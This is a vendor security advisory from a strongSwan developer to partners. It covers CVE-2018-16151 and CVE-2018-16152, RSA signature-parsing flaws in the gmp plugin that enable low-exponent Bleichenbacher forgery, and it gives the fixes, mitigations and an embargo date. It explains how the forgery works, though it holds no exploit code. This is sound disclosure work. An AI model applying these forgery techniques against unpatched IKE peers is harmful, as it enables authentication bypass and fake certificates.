Created attachment 782661 [details]
strongswan-4.4.0-4.4.1_gmp-pkcs1-verify.patch

Dear strongSwan partner,

A security researcher privately reported several flaws in the gmp plugin
that may lead to an authorization bypass vulnerability.


# Insufficient input validation in gmp plugin

Several flaws in the implementation that parsed and verified RSA
signatures in the gmp plugin may allow for a Bleichenbacher-style
low-exponent signature forgery in certificates and during IKE
authentication.  Potentially affected are all strongSwan versions
including the latest 5.6.3.

CVE-2018-16151 and CVE-2018-16152 have been assigned for two of the
flaws that may lead to this vulnerability (see below for details).

To verify an RSA signature it is decrypted using the public key with the
operation m^e mod n, where m is the signature value, and e and n are the
exponent and modulus of the public key, respectively.  When using PKCS#1
v1.5 the result of that calculation is a binary number that has a very
specific form:

	0x00 || 0x01 || PS || 0x00 || T

Where T is an ASN.1 encoded digestInfo (algorithmIdentifier with the OID
of the used hash function followed by the binary hash value) and the
padding PS consists of at least 8 bytes of 0xFF to make sure the
resulting value consists of exactly the same number of bytes as the modulus.

Already in 2006 Daniel Bleichenbacher showed that it is possible to
easily forge signatures for low-exponent keys (i.e. with e=3) if the
implementation fails to verify that there is enough padding to ensure
that T is right-aligned and if it allows arbitrary data after the hash.

While the implementation in the gmp plugin was not vulnerable to the
latter (i.e. it didn't allow data after the ASN.1 structure) further
research (e.g. in [1]) showed that the ASN.1 structure may offer similar
room for variance if the implementation verifying it is not strict
enough.  Since our ASN.1 parsing code is mainly designed to accept all
kinds of keys and certificates etc. it is pretty lenient, which lead to
the following issues.

The first is that the OID parser allows any number of random bytes after
a valid OID.  The asn1_known_oid() function just parses until it finds a
leaf in the tree of known OIDs, any further data that follows is simply
ignored.  And the function that parses ASN.1 algorithmIdentifier
structures doesn't care if the full OID data was parsed as it usually
doesn't really matter.  CVE-2018-16151 has been assigned to this issue.

The second problem is that the algorithmIdentifier structure not only
contains the OID but also an optional parameters field.  While none of
the algorithms used with PKCS#1 use parameters, i.e. the field should
always be encoded as ASN.1 NULL value, our parser does not enforce this,
it simply skips over the parameters.  This allows an attacker to fill
the field with random data.  CVE-2018-16152 has been assigned to this issue.

Additionally, the implementation did not enforce at least 8 bytes of
padding, actually it was perfectly fine to accept signatures without any
padding at all.  This does not immediately lead to a vulnerability in
itself (hence no separate CVE is assigned) but it makes exploiting the
other flaws much easier.

An attacker may use these flaws to generate forged signatures in order
to generate arbitrary certificates if a CA certificate uses a
low-exponent key or authenticate as a particular peer if that peer's
end-entity certificate or raw public key uses a low-exponent.
It's important to note that the attacker does not need to know the
actual public key, just the key length (which could be guessed).  Such a
forged signature will be accepted by any key with the same length and
low exponent.  More details on exploiting these flaws (the second in
particular) may be found in section 5 of [1].

Remote code execution is not possible due to these issues.


# Mitigation

Since only the gmp plugin is affected, installations that don't have
this plugin enabled and loaded are not vulnerable.

If the plugin is loaded, make sure that none of the employed keys and
certificates (including those of CAs) use keys with e = 3.  Our own tool
to generate keys (pki --gen) always used e = 65537 (0x10001), which is
not vulnerable, so certificates and keys generated with this tool are
fine for use even with an unpatched gmp plugin.

The attached patches fix the vulnerability in the respective strongSwan
versions and should apply with appropriate hunk offsets (please note
that patches for versions < 4.4.0 are not provided).
In order to apply them those for CVE-2012-2388 [2] (versions <= 4.6.3)
and CVE-2017-11185 [3] (versions <= 5.5.3) must be applied already.

Please prepare updated releases and patch your installations, but do not
yet publicly disclose any information about this vulnerability.  We want
to give you as a partner enough time to prepare new releases and will
publicly disclose the vulnerability with the strongSwan 5.7.0 release on
Mon Sep 24, 14:00 CEST.

Credit to Sze Yiu Chau and his team from Purdue University and The
University of Iowa for finding this vulnerability.  More details will be
released in their research paper later this year.

Our apologies for the inconvenience.

Kind Regards
Tobias Brunner
strongSwan Developer

[1] Variants of Bleichenbacher's Low-Exponent Attack on PKCS#1 RSA
Signatures
http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.698.7230
[2] https://download.strongswan.org/security/CVE-2012-2388
[3] https://download.strongswan.org/security/CVE-2017-11185